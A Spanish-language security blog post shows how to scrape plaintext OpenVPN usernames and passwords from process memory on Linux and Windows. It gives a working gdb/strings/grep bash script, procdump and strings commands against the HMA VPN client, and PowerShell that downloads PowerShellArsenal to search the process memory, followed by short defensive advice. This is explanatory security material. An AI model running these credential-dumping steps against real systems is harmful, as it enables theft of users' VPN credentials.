Obteniendo contraseñas en claro de OpenVPN bajo Windows (RAM scraping)

No hace mucho me llamó la atención un pequeño script en bash que podía obtener las credenciales en texto claro de cualquier proceso OpenVPN en Linux:
#!/bin/bash
# This little hack-job will grab credentials from a running openvpn process in Linux
# Keep in mind this won't work if the user used the --auth-nocache flag

grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done
echo "Your credentials should be listed below as username/password"

strings *.dump | grep -B2 KnOQ  | grep -v KnOQ
rm *.dump --force

Cómo veis, primero obtiene un volcado de memoria del proceso con gdb, luego saca las cadenas de texto del binario con string y finalmente con grep muestra las dos lineas anteriores al patrón 'KnOQ', que es donde se sitúa la contraseña. Así de directo.

Esta técnica, que básicamente consiste en buscar texto en claro dentro de volcados memoria de procesos, es conocida como RAM scraping y viene utilizándose desde hace años. De hecho, se hizo sobretodo famosa por malware como "Dexter", "BlackPOS" o "TrackR" que la utilizaban para atacar a terminales de punto de venta (TPV, o PoS en inglés) y robar información de tarjetas de crédito/débito. Como podéis imaginar, los números de las tarjetas de pago tienen el mismo formato y pueden buscarse e identificarse fácilmente mediante el mismo patrón.

Más adelante escribiremos algún que otro artículo para proteger específicamente TPVs, pero ahora vamos a hacer un ejercicio práctico para obtener las contraseñas en claro de OpenVPN mediante esta técnica, esta vez en Güindous. Así que, si tenéis alguna VPN funcionando en el sistema operativo del tío Bill, estar atentos.


En mi caso, como en este momento tengo instalado el cliente VPN de Hide my Ass y utiliza por debajo OpenVPN, pues "trabajaré" con el directamente.



Para el ejemplo podríamos usar Volatility o incluso algún debugger como OllyDbg o IDA, aunque por rapidez utilizaremos estas tres pequeñas herramientas: procdump.exe, strings.exe y FindRepl.bat (utilidad regex). Después de bajar cada una de ellas ejecutaremos:

procdump.exe -ma "HMA! Pro VPN.exe" hma_vpn_dump.dmp
strings.exe "hma_vpn_dump.dmp" |findrepl "^VPN connection status" /o:-2:-2 |find /v "^VPN connection status"


Podríamos afinar el patrón para que fuera más preciso y bonito, pero para la poc se ve claramente que entre las líneas devueltas se encuentra la contraseña en claro. Podéis ejecutarlo vosotros mismos para comprobarlo.

Otra opción interesante sin usar herramientas adicionales de terceros, es usar powershell para el mismo propósito. Abrimos un intérprete sin restricciones de ejecución y comprobamos la versión de powershell (debe ser 3.0 o superior):

C:\Windows\system32>PowerShell.exe -ExecutionPolicy Unrestricted
PS C:\Windows\system32> $host.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
4      0      -1     -1
**************

La "magia" en este caso sería utilizando la herramienta Get-ProcessStrings del módulo PowerShellArsenal de Matt Graeber:

(new-object System.Net.WebClient).DownloadFile('https://github.com/mattifestation/PowerShellArsenal/archive/master.zip', 'c:\temp\powerarsenal.zip')
(new-object -com shell.application).namespace('c:\temp').CopyHere((new-object -com shell.application).namespace('c:\temp\powerarsenal.zip').Items(),16)
Copy-Item C:\temp\PowerShellArsenal-master $Env:windir\System32\WindowsPowerShell\v1.0\Modules\PowerShellArsenal -Recurse -Force -Verbose
Import-Module PowerShellArsenal
Get-Process 'HMA! Pro VPN' | Get-ProcessStrings | Select-String -Context 3,0 "VPN connection status"

Y el resultado... similar al de antes:



¿Sencillo verdad? Y, ¿cómo hacemos para defendernos ante este tipo de ataques?

En principio, se trata de un ataque que requiere que un sistema haya sido comprometido previamente, es decir, es una técnica de post-explotación porque el atacante debe ser capaz de acceder a la memoria de la víctima.

Entendemos entonces que si un equipo ha sido infectado el antivirus no ha actuado porque no ha sido capaz de detectar la amenaza. Por lo tanto, podemos debemos implementar otras medidas adicionales como firewalls o NIDS con deep inspection y una correcta monitorización y correlación de logs mediante un SIEM en busca de intentos de extraer información sensible y otra actividad sospechosa.

Lo ideal además sería cifrar la información en el lado del cliente antes de transmitirla. Por ejemplo, cifrar una contraseña de una página de login mediante un javacript que usa claves asimétricas... pero ¿quién implementa estas medidas hoy en día?

0 comentarios :

Publicar un comentario en la entrada